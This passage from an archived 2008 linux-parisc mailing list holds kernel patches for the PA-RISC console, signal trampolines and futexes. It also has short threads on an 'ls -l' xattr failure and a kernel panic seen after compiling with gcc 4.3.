+	/* if we're at the end of line, and not already inserting a newline,
+	 * insert one anyway. iodc console doesn't claim to support >79 char
+	 * lines. don't account for this in the return value.
+	 */
+	if (i == 79 && iodc_dbuf[i-1] != '\n') {
+		iodc_dbuf[i+0] = '\r';
+		iodc_dbuf[i+1] = '\n';
+	}
+
+print:
         spin_lock_irqsave(&pdc_lock, flags);
         real32_call(PAGE0->mem_cons.iodc_io,
                     (unsigned long)PAGE0->mem_cons.hpa, ENTRY_IO_COUT,
@@ -1142,11 +1151,9 @@ int pdc_iodc_print(unsigned char *str, unsigned count)
  */
 int pdc_iodc_getc(void)
 {
-	unsigned long flags;
-        static int __attribute__((aligned(8)))   iodc_retbuf[32];
-        static char __attribute__((aligned(64))) iodc_dbuf[4096];
 	int ch;
 	int status;
+	unsigned long flags;
 
 	/* Bail if no console input device. */
 	if (!PAGE0->mem_kbd.iodc_io)
diff --git a/arch/parisc/kernel/pdc_cons.c b/arch/parisc/kernel/pdc_cons.c
index 33b1f84..7f471a4 100644
--- a/arch/parisc/kernel/pdc_cons.c
+++ b/arch/parisc/kernel/pdc_cons.c
@@ -52,10 +52,18 @@
 #include <linux/tty.h>
 #include <asm/pdc.h>		/* for iodc_call() proto and friends */
 
+static spinlock_t pdc_console_lock = SPIN_LOCK_UNLOCKED;
 
 static void pdc_console_write(struct console *co, const char *s, unsigned count)
 {
-	pdc_iodc_print(s, count);
+	int i = 0;
+	unsigned long flags;
+
+	spin_lock_irqsave(&pdc_console_lock, flags);
+	do {
+		i += pdc_iodc_print(s + i, count - i);
+	} while (i < count);
+	spin_unlock_irqrestore(&pdc_console_lock, flags);
 }
 
 void pdc_printf(const char *fmt, ...)
@@ -73,7 +81,14 @@ void pdc_printf(const char *fmt, ...)
 
 int pdc_console_poll_key(struct console *co)
 {
-	return pdc_iodc_getc();
+	int c;
+	unsigned long flags;
+
+	spin_lock_irqsave(&pdc_console_lock, flags);
+	c = pdc_iodc_getc();
+	spin_unlock_irqrestore(&pdc_console_lock, flags);
+
+	return c;
 }
 
 static int pdc_console_setup(struct console *co, char *options)
diff --git a/include/asm-parisc/pdc.h b/include/asm-parisc/pdc.h
index deda8c3..9eaa794 100644
--- a/include/asm-parisc/pdc.h
+++ b/include/asm-parisc/pdc.h
@@ -645,8 +645,7 @@ int pdc_soft_power_button(int sw_control);
 void pdc_io_reset(void);
 void pdc_io_reset_devices(void);
 int pdc_iodc_getc(void);
-int pdc_iodc_print(unsigned char *str, unsigned count);
-void pdc_printf(const char *fmt, ...);
+int pdc_iodc_print(const unsigned char *str, unsigned count);
 
 void pdc_emergency_unlock(void);
 int pdc_sti_call(unsigned long func, unsigned long flags,
-- 
1.5.3.8



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [PARISC] fix signal trampoline cache flushing
Date: Tue, 15 Apr 2008 18:36:38 -0400
Lines: 33
Approved: news@gmane.org
Message-ID: <20080415223638.GD17646@phobos.i.cabal.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1208299138 13593 80.91.229.12 (15 Apr 2008 22:38:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 15 Apr 2008 22:38:58 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, stable@kernel.org
To: torvalds@linux-foundation.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Apr 16 00:38:36 2008
connect(): Connection refused
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JltmD-0006nS-Bc
	for glpp-linux-parisc@gmane.org; Wed, 16 Apr 2008 00:37:21 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753360AbYDOWgk (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 15 Apr 2008 18:36:40 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755655AbYDOWgk
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 15 Apr 2008 18:36:40 -0400
Original-Received: from 206-248-169-182.dsl.ncf.ca ([206.248.169.182]:35616 "EHLO
	phobos.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753360AbYDOWgj (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 15 Apr 2008 18:36:39 -0400
Original-Received: by phobos.cabal.ca (Postfix, from userid 500)
	id 6642917807A; Tue, 15 Apr 2008 18:36:38 -0400 (EDT)
Content-Disposition: inline
User-Agent: Mutt/1.5.17 (2007-11-01)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:266
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/266>

The signal trampolines were accidently flushing the kernel I$ instead
of the users. Fix that up, and also add a missing user D$ flush
while we're at it.

Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>
---
Sorry, I thought I submitted this for 2.6.25 ages ago.

 arch/parisc/kernel/signal.c |    3 ++-
 1 files changed, 2 insertions(+), 1 deletions(-)

diff --git a/arch/parisc/kernel/signal.c b/arch/parisc/kernel/signal.c
index 58fccc9..06213d1 100644
--- a/arch/parisc/kernel/signal.c
+++ b/arch/parisc/kernel/signal.c
@@ -534,7 +534,8 @@ insert_restart_trampoline(struct pt_regs *regs)
 		 * Flushing one cacheline is cheap.
 		 * "sync" on bigger (> 4 way) boxes is not.
 		 */
-		flush_icache_range(regs->gr[30], regs->gr[30] + 4);
+		flush_user_dcache_range(regs->gr[30], regs->gr[30] + 4);
+		flush_user_icache_range(regs->gr[30], regs->gr[30] + 4);
 
 		regs->gr[31] = regs->gr[30] + 8;
 		/* Preserve original r28. */
-- 
1.5.5

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: ls -l is broken
Date: Wed, 16 Apr 2008 10:27:50 -0400
Lines: 18
Approved: news@gmane.org
Message-ID: <20080416142750.GD27875@phobos.i.cabal.ca>
References: <20080406224204.GE16451@parisc-linux.org> <20080406231000.D53CB4FC8@hiauly1.hia.nrc.ca> <20080415051650.GA22873@phobos.i.cabal.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1208356652 16981 80.91.229.12 (16 Apr 2008 14:37:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 16 Apr 2008 14:37:32 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	Matthew Wilcox <matthew@wil.cx>, linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Apr 16 16:37:51 2008
connect(): Connection refused
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Jm8cj-000758-5G
	for glpp-linux-parisc@gmane.org; Wed, 16 Apr 2008 16:28:33 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758119AbYDPO1w (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 16 Apr 2008 10:27:52 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1758675AbYDPO1w
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 16 Apr 2008 10:27:52 -0400
Original-Received: from 206-248-169-182.dsl.ncf.ca ([206.248.169.182]:42450 "EHLO
	phobos.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1758119AbYDPO1v (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 16 Apr 2008 10:27:51 -0400
Original-Received: by phobos.cabal.ca (Postfix, from userid 500)
	id 32D0517807A; Wed, 16 Apr 2008 10:27:50 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <20080415051650.GA22873@phobos.i.cabal.ca>
User-Agent: Mutt/1.5.17 (2007-11-01)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:267
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/267>

On Tue, Apr 15, 2008 at 01:16:50AM -0400, Kyle McMartin wrote:
> On Sun, Apr 06, 2008 at 07:09:59PM -0400, John David Anglin wrote:
> > > If you strace it, what syscall returns -EOPNOTSUPP?
> > 
> > strace is broken and quits before the relevant syscall.  Think I
> > mentioned this before is a different context.
> > 
> 
> Ok, I've fixed up ptrace. The failing syscall was lgetxattr, which, I
> presume is failing because selinux is disabled, or something.
> 

Nevermind, it's failing because you don't have XATTRs enabled on ext3.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: ls -l is broken
Date: Wed, 16 Apr 2008 13:15:52 -0400 (EDT)
Lines: 14
Approved: news@gmane.org
Message-ID: <20080416171553.39A0B4DF2@hiauly1.hia.nrc.ca>
References: <20080416142750.GD27875@phobos.i.cabal.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1208366257 22929 80.91.229.12 (16 Apr 2008 17:17:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 16 Apr 2008 17:17:37 +0000 (UTC)
Cc: kyle@mcmartin.ca, matthew@wil.cx, linux-parisc@vger.kernel.org
To: kyle@mcmartin.ca (Kyle McMartin)
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Apr 16 19:17:56 2008
connect(): Connection refused
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JmBFM-0003Fr-Dt
	for glpp-linux-parisc@gmane.org; Wed, 16 Apr 2008 19:16:36 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755658AbYDPRPz (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 16 Apr 2008 13:15:55 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755631AbYDPRPz
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 16 Apr 2008 13:15:55 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3104 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755326AbYDPRPy (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 16 Apr 2008 13:15:54 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 39A0B4DF2; Wed, 16 Apr 2008 13:15:52 -0400 (EDT)
In-Reply-To: <20080416142750.GD27875@phobos.i.cabal.ca> from "Kyle McMartin" at Apr 16, 2008 10:27:50 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:268
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/268>

> Nevermind, it's failing because you don't have XATTRs enabled on ext3.

That sounds right.  I remember now that there's also an issue with
ls --full-time support on some file systems.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: ls -l is broken
Date: Wed, 16 Apr 2008 13:21:24 -0400
Lines: 15
Approved: news@gmane.org
Message-ID: <20080416172124.GA7475@phobos.i.cabal.ca>
References: <20080416142750.GD27875@phobos.i.cabal.ca> <20080416171553.39A0B4DF2@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1208368183 30233 80.91.229.12 (16 Apr 2008 17:49:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 16 Apr 2008 17:49:43 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, matthew@wil.cx,
	linux-parisc@vger.kernel.org, lamont@debian.org,
	debian-hppa@lists.debian.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Apr 16 19:49:51 2008
connect(): Connection refused
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JmBKi-0004w6-CG
	for glpp-linux-parisc@gmane.org; Wed, 16 Apr 2008 19:22:08 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752320AbYDPRV1 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 16 Apr 2008 13:21:27 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752603AbYDPRV1
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 16 Apr 2008 13:21:27 -0400
Original-Received: from 206-248-169-182.dsl.ncf.ca ([206.248.169.182]:45423 "EHLO
	phobos.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752320AbYDPRV0 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 16 Apr 2008 13:21:26 -0400
Original-Received: by phobos.cabal.ca (Postfix, from userid 500)
	id 1728D17807A; Wed, 16 Apr 2008 13:21:25 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <20080416171553.39A0B4DF2@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.17 (2007-11-01)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:269 gmane.linux.debian.ports.hppa:5196
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/269>

On Wed, Apr 16, 2008 at 01:15:52PM -0400, John David Anglin wrote:
> > Nevermind, it's failing because you don't have XATTRs enabled on ext3.
> 
> That sounds right.  I remember now that there's also an issue with
> ls --full-time support on some file systems.
> 

The problem is, this seems to be causing failures on the buildds, which
probably need XATTRs enabled as well. I've added lamont to the CC list,
hopefully he can shed a bit of light on this.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Berthold Gunreben <b.gunreben@web.de>
Newsgroups: gmane.linux.ports.parisc
Subject: gcc 4.3 and kernel compiling
Date: Wed, 16 Apr 2008 22:22:30 +0200
Lines: 47
Approved: news@gmane.org
Message-ID: <200804162222.30737.b.gunreben@web.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1208377915 4167 80.91.229.12 (16 Apr 2008 20:31:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 16 Apr 2008 20:31:55 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Apr 16 22:32:32 2008
connect(): Connection refused
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JmEA2-0006Ut-7f
	for glpp-linux-parisc@gmane.org; Wed, 16 Apr 2008 22:23:18 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752061AbYDPUWh (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 16 Apr 2008 16:22:37 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752792AbYDPUWh
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 16 Apr 2008 16:22:37 -0400
Original-Received: from fmmailgate01.web.de ([217.72.192.221]:41420 "EHLO
	fmmailgate01.web.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752359AbYDPUWg (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 16 Apr 2008 16:22:36 -0400
Original-Received: from smtp05.web.de (fmsmtp05.dlan.cinetic.de [172.20.4.166])
	by fmmailgate01.web.de (Postfix) with ESMTP id 984A9DB8B533
	for <linux-parisc@vger.kernel.org>; Wed, 16 Apr 2008 22:22:34 +0200 (CEST)
Original-Received: from [217.226.52.58] (helo=noname)
	by smtp05.web.de with asmtp (TLSv1:AES256-SHA:256)
	(WEB.DE 4.109 #226)
	id 1JmE9K-00008i-00
	for linux-parisc@vger.kernel.org; Wed, 16 Apr 2008 22:22:34 +0200
User-Agent: KMail/1.9.6 (enterprise 20070904.708012)
Content-Disposition: inline
X-Sender: b.gunreben@web.de
X-Provags-ID: V01U2FsdGVkX18zjT9G9NgWuWkgClfjifgSheguNQWZJPN85HTR
	/5cF9E70y3WVDtcOvQqcuU8I7GK1LvitKylqNPzXNihogZfxFI
	BQVJNcDyg=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:270
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/270>

Hi,

I compiled a kernel with gcc 4.3.1, but that kernel failed to boot the system. 
I got the following message on the serial console:

unwind_init: start = 0x103b1e90, end = 0x103d64f0, entries = 9318^M
Backtrace:^M
 [<10479e7c>] init+0x20/0x104^M
 [<104710f4>] kernel_init+0x210/0x3f4^M
^M
^M
Kernel Fault: Code=26 regs=efc401c0 (Addr=00000000)^M
^M
     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI^M
PSW: 00000000000001000000000100001111 Not tainted^M
r00-03  0004010f 1015e000 10479e7c 00000000^M
r04-07  1048af48 00000000 103d76ec 104887f0^M
r08-11  00000000 00000000 103d7630 0000001f^M
r12-15  efc40088 1048b084 10376f78 10376f60^M
r16-19  3b9aca00 10376f48 10376f24 efc40000^M
r20-23  00000001 00000020 10479e5c 00000001^M
r24-27  00000000 00000000 00000000 103da010^M
r28-31  00000000 1034b490 efc401c0 104710f4^M
sr00-03  00000000 00000000 00000000 00000000^M
sr04-07  00000000 00000000 00000000 00000000^M
^M
IASQ: 00000000 00000000 IAOQ: 1015e46c 1015e470^M
 IIR: 0f401089    ISR: 00000000  IOR: 00000000^M
 CPU:        0   CR30: efc40000 CR31: 11111111^M
 ORIG_R28: 0000000d^M
 IAOQ[0]: cmpxchg_futex_value_locked+0x28/0x7c^M
 IAOQ[1]: cmpxchg_futex_value_locked+0x2c/0x7c^M
 RP(r2): init+0x20/0x104^M
Backtrace:^M
^M
Kernel panic - not syncing: Kernel Fault^M

Is there a  known issue maybe with barrier() that I should be aware of?

Thanks

Berthold
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: gcc 4.3 and kernel compiling
Date: Wed, 16 Apr 2008 16:27:01 -0400
Lines: 17
Approved: news@gmane.org
Message-ID: <20080416202701.GB7475@phobos.i.cabal.ca>
References: <200804162222.30737.b.gunreben@web.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1208378266 5404 80.91.229.12 (16 Apr 2008 20:37:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 16 Apr 2008 20:37:46 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Berthold Gunreben <b.gunreben@web.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Apr 16 22:38:25 2008
connect(): Connection refused
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JmEEL-0007qK-Ro
	for glpp-linux-parisc@gmane.org; Wed, 16 Apr 2008 22:27:46 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751677AbYDPU1E (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 16 Apr 2008 16:27:04 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753649AbYDPU1E
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 16 Apr 2008 16:27:04 -0400
Original-Received: from 206-248-169-182.dsl.ncf.ca ([206.248.169.182]:46972 "EHLO
	phobos.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751677AbYDPU1D (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 16 Apr 2008 16:27:03 -0400
Original-Received: by phobos.cabal.ca (Postfix, from userid 500)
	id 4BE8117807D; Wed, 16 Apr 2008 16:27:01 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <200804162222.30737.b.gunreben@web.de>
User-Agent: Mutt/1.5.17 (2007-11-01)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:271
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/271>

On Wed, Apr 16, 2008 at 10:22:30PM +0200, Berthold Gunreben wrote:
>  IAOQ[0]: cmpxchg_futex_value_locked+0x28/0x7c^M
>  IAOQ[1]: cmpxchg_futex_value_locked+0x2c/0x7c^M
>  RP(r2): init+0x20/0x104^M
> Backtrace:^M
> ^M
> Kernel panic - not syncing: Kernel Fault^M
> 
> Is there a  known issue maybe with barrier() that I should be aware of?
> 

update your kernel. this issue is independent of gcc version.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: chrisw@sous-sol.org
Newsgroups: gmane.linux.ports.parisc
Subject: patch parisc-futex-special-case-cmpxchg-null-in-kernel-space.patch queued to 2.6.24-stable tree
Date: Wed, 16 Apr 2008 17:29:30 -0700
Lines: 87
Approved: news@gmane.org
Message-ID: <200804170029.m3H0TU5u009587@sous-sol.org>
References: <1208274312.3131.11.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1208392222 16229 80.91.229.12 (17 Apr 2008 00:30:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 17 Apr 2008 00:30:22 +0000 (UTC)
Cc: stable@kernel.org, stable-commits@vger.kernel.org
To: James.Bottomley@HansenPartnership.com, chrisw@sous-sol.org,
	kyle@mcmartin.ca, kyle@shortfin.cabal.ca,
	linux-parisc@vger.kernel.org, tglx@linutronix.de
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 17 02:30:49 2008
connect(): Connection refused
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JmI1W-0007OF-8x
	for glpp-linux-parisc@gmane.org; Thu, 17 Apr 2008 02:30:46 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753670AbYDQAaE (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 16 Apr 2008 20:30:04 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753761AbYDQAaE
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 16 Apr 2008 20:30:04 -0400
Original-Received: from sous-sol.org ([216.99.217.87]:53599 "EHLO sous-sol.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753611AbYDQAaE (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 16 Apr 2008 20:30:04 -0400
Original-Received: from localhost.localdomain (localhost.localdomain [127.0.0.1])
	by sous-sol.org (8.14.2/8.14.2) with ESMTP id m3H0TU5u009587;
	Wed, 16 Apr 2008 17:29:31 -0700
In-Reply-To: <1208274312.3131.11.camel@localhost.localdomain>
X-Virus-Scanned: ClamAV version 0.93rc1, clamav-milter version devel-20080219 on sequoia.sous-sol.org
X-Virus-Status: Clean
X-Spam-Status: No, score=-4.4 required=5.0 tests=ALL_TRUSTED,AWL,BAYES_00,
	MISSING_MID autolearn=ham version=3.2.3
X-Spam-Checker-Version: SpamAssassin 3.2.3 (2007-08-08) on sequoia.sous-sol.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:272
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/272>


This is a note to let you know that we have just queued up the patch titled

     Subject: PARISC futex: special case cmpxchg NULL in kernel space

to the 2.6.24-stable tree.  Its filename is

     parisc-futex-special-case-cmpxchg-null-in-kernel-space.patch

A git repo of this tree can be found at 
    http://www.kernel.org/git/?p=linux/kernel/git/stable/stable-queue.git;a=summary


>From stable-bounces@linux.kernel.org  Wed Apr 16 16:44:42 2008
From: James Bottomley <James.Bottomley@HansenPartnership.com>
To: stable@kernel.org
Date: Tue, 15 Apr 2008 10:45:11 -0500
Message-Id: <1208274312.3131.11.camel@localhost.localdomain>
Cc: Parisc List <linux-parisc@vger.kernel.org>
Subject: PARISC futex: special case cmpxchg NULL in kernel space

From: Kyle McMartin <kyle@shortfin.cabal.ca>

upstream commit: c20a84c91048c76c1379011c96b1a5cee5c7d9a0

commit f9e77acd4060fefbb60a351cdb8d30fca27fe194
Author: Thomas Gleixner <tglx@linutronix.de>
Date:   Sun Feb 24 02:10:05 2008 +0000

    futex: runtime enable pi and robust functionality
 

which was backported to stable based on mainline Commit
a0c1e9073ef7428a14309cba010633a6cd6719ea added code to futex.c
to detect whether futex_atomic_cmpxchg_inatomic was implemented at run
time:

+       curval = cmpxchg_futex_value_locked(NULL, 0, 0);
+       if (curval == -EFAULT)
+               futex_cmpxchg_enabled = 1;

This is bogus on parisc, since page zero in kernel virtual space is the
gateway page for syscall entry, and should not be read from the kernel.
(That, and we really don't like the kernel faulting on its own address
 space...)

Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>
Signed-off-by: James Bottomley <James.Bottomley@HansenPartnership.com>
Signed-off-by: Chris Wright <chrisw@sous-sol.org>
---
 include/asm-parisc/futex.h |   10 ++++++++--
 1 file changed, 8 insertions(+), 2 deletions(-)

